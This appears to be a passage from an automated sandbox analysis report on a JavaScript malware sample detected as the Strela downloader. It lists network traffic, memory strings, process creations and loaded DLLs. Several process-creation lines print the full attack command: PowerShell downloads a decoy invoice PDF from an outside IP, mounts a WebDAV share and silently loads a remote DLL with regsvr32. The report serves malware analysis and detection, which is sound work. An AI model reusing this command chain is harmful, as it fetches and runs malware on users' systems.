HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1704200814.0000012EF0080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1769706483.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769952555.000002101FFFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1765787387.000002101FFF9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769258398.000002101FFA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766409222.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1769706483.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766409222.000002101FFD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/bvG
Source: net.exe, 00000006.00000002.1769258398.000002101FFA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceB
Source: svchost.exe, 00000008.00000002.2995498599.00000249B2200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1767171680.00000249B2428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1767171680.00000249B2428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1767171680.00000249B2428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1767171680.00000249B245D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1767171680.00000249B24D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1767171680.00000249B24D2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1767171680.00000249B24D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 31202109622954930860.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2w5np11f.vbh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1660,i,15573682708767360441,8606875034198900653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1660,i,15573682708767360441,8606875034198900653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
